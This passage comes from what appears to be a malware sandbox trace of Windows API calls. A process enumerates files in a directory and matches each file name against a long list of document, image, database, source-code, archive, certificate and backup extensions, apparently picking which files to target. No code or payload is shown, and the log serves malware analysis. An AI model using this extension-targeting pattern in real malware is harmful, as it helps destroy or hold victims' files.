lpString2=".rtf") returned -1 [0084.458] lstrlenW (lpString=".onepkg") returned 7 [0084.458] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0084.458] lstrlenW (lpString=".onetoc2") returned 8 [0084.458] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0084.458] lstrlenW (lpString=".opt") returned 4 [0084.458] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0084.458] lstrlenW (lpString=".oqy") returned 4 [0084.459] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".orf") returned 4 [0084.459] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".p12") returned 4 [0084.459] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".p7b") returned 4 [0084.459] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".p7c") returned 4 [0084.459] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".pam") returned 4 [0084.459] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".pbm") returned 4 [0084.459] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".pct") returned 4 [0084.459] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".pcx") returned 4 [0084.459] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".pdd") returned 4 [0084.459] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".pdf") returned 4 [0084.459] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".pdp") returned 4 [0084.459] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".pef") returned 4 [0084.459] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".pem") returned 4 [0084.459] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".pff") returned 4 [0084.459] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0084.459] lstrlenW (lpString=".pfm") returned 4 [0084.459] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0084.460] lstrlenW (lpString=".pfx") returned 4 [0084.460] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0084.460] lstrlenW (lpString=".pgm") returned 4 [0084.460] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0084.460] lstrlenW (lpString=".php") returned 4 [0084.460] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0084.460] lstrlenW (lpString=".php3") returned 5 [0084.460] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0084.460] lstrlenW (lpString=".php4") returned 5 [0084.460] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0084.460] lstrlenW (lpString=".php5") returned 5 [0084.460] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0084.460] lstrlenW (lpString=".phtml") returned 6 [0084.460] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0084.460] lstrlenW (lpString=".pict") returned 5 [0084.460] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0084.460] lstrlenW (lpString=".pl") returned 3 [0084.460] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0084.460] lstrlenW (lpString=".pls") returned 4 [0084.460] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0084.460] lstrlenW (lpString=".pm") returned 3 [0084.460] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0084.460] lstrlenW (lpString=".png") returned 4 [0084.460] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0084.460] lstrlenW (lpString=".pnm") returned 4 [0084.460] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0084.460] lstrlenW (lpString=".pot") returned 4 [0084.460] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0084.460] lstrlenW (lpString=".potm") returned 5 [0084.461] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0084.461] lstrlenW (lpString=".potx") returned 5 [0084.461] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0084.461] lstrlenW (lpString=".ppa") returned 4 [0084.461] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0084.461] lstrlenW (lpString=".ppam") returned 5 [0084.461] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0084.461] lstrlenW (lpString=".ppm") returned 4 [0084.461] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0084.461] lstrlenW (lpString=".pps") returned 4 [0084.461] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0084.461] lstrlenW (lpString=".ppsm") returned 5 [0084.461] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0084.461] lstrlenW (lpString=".ppt") returned 4 [0084.461] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.461] lstrlenW (lpString=".pptm") returned 5 [0084.461] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0084.461] lstrlenW (lpString=".pptx") returned 5 [0084.461] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0084.461] lstrlenW (lpString=".prn") returned 4 [0084.461] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0084.461] lstrlenW (lpString=".ps") returned 3 [0084.461] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0084.461] lstrlenW (lpString=".psb") returned 4 [0084.461] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0084.461] lstrlenW (lpString=".psd") returned 4 [0084.461] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0084.462] lstrlenW (lpString=".pst") returned 4 [0084.462] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0084.462] lstrlenW (lpString=".ptx") returned 4 [0084.462] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0084.462] lstrlenW (lpString=".pub") returned 4 [0084.462] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0084.462] lstrlenW (lpString=".pwm") returned 4 [0084.462] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0084.462] lstrlenW (lpString=".pxr") returned 4 [0084.462] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0084.462] lstrlenW (lpString=".py") returned 3 [0084.462] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0084.462] lstrlenW (lpString=".qt") returned 3 [0084.462] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0084.462] lstrlenW (lpString=".r3d") returned 4 [0084.462] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0084.462] lstrlenW (lpString=".raf") returned 4 [0084.462] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0084.462] lstrlenW (lpString=".rar") returned 4 [0084.462] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.462] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0084.463] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.463] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0084.463] FindClose (in: hFindFile=0x42602d0 | out: hFindFile=0x42602d0) returned 1 [0084.463] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0084.463] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1043", cAlternateFileName="")) returned 1 [0084.463] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0084.463] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043") returned 26 [0084.463] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1043\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42602d0 [0084.464] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.464] FindNextFileW (in: hFindFile=0x42602d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0084.464] lstrlenW (lpString="eula.rtf") returned 8 [0084.464] lstrlenW (lpString=".1cd") returned 4 [0084.464] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.464] lstrlenW (lpString=".3ds") returned 4 [0084.464] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0084.464] lstrlenW (lpString=".3fr") returned 4 [0084.464] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0084.464] lstrlenW (lpString=".3g2") returned 4 [0084.464] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0084.464] lstrlenW (lpString=".3gp") returned 4 [0084.464] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0084.464] lstrlenW (lpString=".7z") returned 3 [0084.464] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.464] lstrlenW (lpString=".accda") returned 6 [0084.464] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0084.464] lstrlenW (lpString=".accdb") returned 6 [0084.464] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0084.464] lstrlenW (lpString=".accdc") returned 6 [0084.464] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0084.465] lstrlenW (lpString=".accde") returned 6 [0084.465] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0084.465] lstrlenW (lpString=".accdt") returned 6 [0084.465] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0084.465] lstrlenW (lpString=".accdw") returned 6 [0084.465] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0084.465] lstrlenW (lpString=".adb") returned 4 [0084.465] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0084.465] lstrlenW (lpString=".adp") returned 4 [0084.465] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0084.465] lstrlenW (lpString=".ai") returned 3 [0084.465] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0084.465] lstrlenW (lpString=".ai3") returned 4 [0084.465] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0084.465] lstrlenW (lpString=".ai4") returned 4 [0084.465] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0084.465] lstrlenW (lpString=".ai5") returned 4 [0084.465] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0084.465] lstrlenW (lpString=".ai6") returned 4 [0084.465] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0084.465] lstrlenW (lpString=".ai7") returned 4 [0084.465] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0084.465] lstrlenW (lpString=".ai8") returned 4 [0084.465] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0084.465] lstrlenW (lpString=".anim") returned 5 [0084.465] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0084.466] lstrlenW (lpString=".arw") returned 4 [0084.466] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0084.466] lstrlenW (lpString=".as") returned 3 [0084.466] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0084.466] lstrlenW (lpString=".asa") returned 4 [0084.466] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0084.466] lstrlenW (lpString=".asc") returned 4 [0084.466] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0084.466] lstrlenW (lpString=".ascx") returned 5 [0084.466] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0084.466] lstrlenW (lpString=".asm") returned 4 [0084.466] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0084.466] lstrlenW (lpString=".asmx") returned 5 [0084.466] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0084.466] lstrlenW (lpString=".asp") returned 4 [0084.466] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0084.466] lstrlenW (lpString=".aspx") returned 5 [0084.466] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0084.466] lstrlenW (lpString=".asr") returned 4 [0084.466] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1 [0084.466] lstrlenW (lpString=".asx") returned 4 [0084.466] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1 [0084.466] lstrlenW (lpString=".avi") returned 4 [0084.466] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1 [0084.466] lstrlenW (lpString=".avs") returned 4 [0084.466] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1 [0084.466] lstrlenW (lpString=".backup") returned 7 [0084.467] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1 [0084.467] lstrlenW (lpString=".bak") returned 4 [0084.467] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1 [0084.467] lstrlenW (lpString=".bay") returned 4 [0084.467] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1 [0084.467] lstrlenW (lpString=".bd") returned 3 [0084.467] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1 [0084.467] lstrlenW (lpString=".bin") returned 4 [0084.467] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1 [0084.467] lstrlenW (lpString=".bmp") returned 4 [0084.467] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1 [0084.467] lstrlenW (lpString=".bz2") returned 4 [0084.467] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0084.467] lstrlenW (lpString=".c") returned 2 [0084.467] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1 [0084.467] lstrlenW (lpString=".cdr") returned 4 [0084.467] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1 [0084.467] lstrlenW (lpString=".cer") returned 4 [0084.467] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1 [0084.467] lstrlenW (lpString=".cf") returned 3 [0084.467] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1 [0084.467] lstrlenW (lpString=".cfc") returned 4 [0084.467] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1 [0084.467] lstrlenW (lpString=".cfm") returned 4 [0084.467] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1 [0084.467] lstrlenW (lpString=".cfml") returned 5 [0084.467] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1 [0084.467] lstrlenW (lpString=".cfu") returned 4 [0084.467] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1 [0084.467] lstrlenW (lpString=".chm") returned 4 [0084.467] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1 [0084.467] lstrlenW (lpString=".cin") returned 4 [0084.468] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1 [0084.468] lstrlenW (lpString=".class") returned 6 [0084.468] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1 [0084.468] lstrlenW (lpString=".clx") returned 4 [0084.468] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1 [0084.468] lstrlenW (lpString=".config") returned 7 [0084.468] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1 [0084.468] lstrlenW (lpString=".cpp") returned 4 [0084.468] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1 [0084.468] lstrlenW (lpString=".cr2") returned 4 [0084.468] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1 [0084.468] lstrlenW (lpString=".crt") returned 4 [0084.468] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1 [0084.468] lstrlenW (lpString=".crw") returned 4 [0084.468] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1 [0084.468] lstrlenW (lpString=".cs") returned 3 [0084.468] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1 [0084.468] lstrlenW (lpString=".css") returned 4 [0084.468] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1 [0084.468] lstrlenW (lpString=".csv") returned 4 [0084.468] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1 [0084.468] lstrlenW (lpString=".cub") returned 4 [0084.468] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1 [0084.468] lstrlenW (lpString=".dae") returned 4 [0084.468] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1 [0084.468] lstrlenW (lpString=".dat") returned 4 [0084.468] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1 [0084.468] lstrlenW (lpString=".db") returned 3 [0084.468] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1 [0084.468] lstrlenW (lpString=".dbf") returned 4 [0084.468] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0084.468] lstrlenW (lpString=".dbx") returned 4 [0084.469] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1 [0084.469] lstrlenW (lpString=".dc3") returned 4 [0084.469] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1 [0084.469] lstrlenW (lpString=".dcm") returned 4 [0084.469] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1 [0084.469] lstrlenW (lpString=".dcr") returned 4 [0084.469] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1 [0084.469] lstrlenW (lpString=".der") returned 4 [0084.469] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1 [0084.469] lstrlenW (lpString=".dib") returned 4 [0084.469] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1 [0084.469] lstrlenW (lpString=".dic") returned 4 [0084.469] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1 [0084.469] lstrlenW (lpString=".dif") returned 4 [0084.469] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1 [0084.469] lstrlenW (lpString=".divx") returned 5 [0084.469] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0084.469] lstrlenW (lpString=".djvu") returned 5 [0084.469] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0084.469] lstrlenW (lpString=".dng") returned 4 [0084.469] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0084.469] lstrlenW (lpString=".doc") returned 4 [0084.469] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.469] lstrlenW (lpString=".docm") returned 5 [0084.469] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0084.469] lstrlenW (lpString=".docx") returned 5 [0084.469] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.469] lstrlenW (lpString=".dot") returned 4 [0084.469] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0084.469] lstrlenW (lpString=".dotm") returned 5 [0084.469] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0084.470] lstrlenW (lpString=".dotx") returned 5 [0084.470] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0084.470] lstrlenW (lpString=".dpx") returned 4 [0084.470] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0084.470] lstrlenW (lpString=".dqy") returned 4 [0084.470] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0084.470] lstrlenW (lpString=".dsn") returned 4 [0084.470] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0084.470] lstrlenW (lpString=".dt") returned 3 [0084.470] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0084.470] lstrlenW (lpString=".dtd") returned 4 [0084.470] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0084.470] lstrlenW (lpString=".dwg") returned 4 [0084.470] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0084.470] lstrlenW (lpString=".dwt") returned 4 [0084.470] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0084.470] lstrlenW (lpString=".dx") returned 3 [0084.470] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0084.470] lstrlenW (lpString=".dxf") returned 4 [0084.470] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0084.470] lstrlenW (lpString=".edml") returned 5 [0084.470] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0084.470] lstrlenW (lpString=".efd") returned 4 [0084.470] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0084.470] lstrlenW (lpString=".elf") returned 4 [0084.470] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0084.470] lstrlenW (lpString=".emf") returned 4 [0084.470] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0084.470] lstrlenW (lpString=".emz") returned 4 [0084.470] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0084.471] lstrlenW (lpString=".epf") returned 4 [0084.471] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0084.471] lstrlenW (lpString=".eps") returned 4 [0084.471] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0084.471] lstrlenW (lpString=".epsf") returned 5 [0084.471] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0084.471] lstrlenW (lpString=".epsp") returned 5 [0084.471] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0084.471] lstrlenW (lpString=".erf") returned 4 [0084.471] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0084.471] lstrlenW (lpString=".exr") returned 4 [0084.471] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0084.471] lstrlenW (lpString=".f4v") returned 4 [0084.471] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0084.471] lstrlenW (lpString=".fido") returned 5 [0084.471] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0084.471] lstrlenW (lpString=".flm") returned 4 [0084.471] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0084.471] lstrlenW (lpString=".flv") returned 4 [0084.471] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0084.471] lstrlenW (lpString=".frm") returned 4 [0084.471] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0084.471] lstrlenW (lpString=".fxg") returned 4 [0084.471] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0084.471] lstrlenW (lpString=".geo") returned 4 [0084.471] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0084.471] lstrlenW (lpString=".gif") returned 4 [0084.471] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0084.471] lstrlenW (lpString=".grs") returned 4 [0084.471] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0084.471] lstrlenW (lpString=".gz") returned 3 [0084.471] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0084.471] lstrlenW (lpString=".h") returned 2 [0084.472] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0084.472] lstrlenW (lpString=".hdr") returned 4 [0084.472] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0084.472] lstrlenW (lpString=".hpp") returned 4 [0084.472] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0084.472] lstrlenW (lpString=".hta") returned 4 [0084.472] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0084.472] lstrlenW (lpString=".htc") returned 4 [0084.472] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0084.472] lstrlenW (lpString=".htm") returned 4 [0084.472] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0084.472] lstrlenW (lpString=".html") returned 5 [0084.472] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0084.472] lstrlenW (lpString=".icb") returned 4 [0084.472] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0084.472] lstrlenW (lpString=".ics") returned 4 [0084.472] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0084.472] lstrlenW (lpString=".iff") returned 4 [0084.472] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0084.472] lstrlenW (lpString=".inc") returned 4 [0084.472] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0084.472] lstrlenW (lpString=".indd") returned 5 [0084.472] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0084.472] lstrlenW (lpString=".ini") returned 4 [0084.472] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0084.472] lstrlenW (lpString=".iqy") returned 4 [0084.878] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0084.878] lstrlenW (lpString=".j2c") returned 4 [0084.878] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0084.878] lstrlenW (lpString=".j2k") returned 4 [0084.878] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0084.878] lstrlenW (lpString=".java") returned 5 [0084.878] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0084.878] lstrlenW (lpString=".jp2") returned 4 [0084.878] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0084.878] lstrlenW (lpString=".jpc") returned 4 [0084.878] 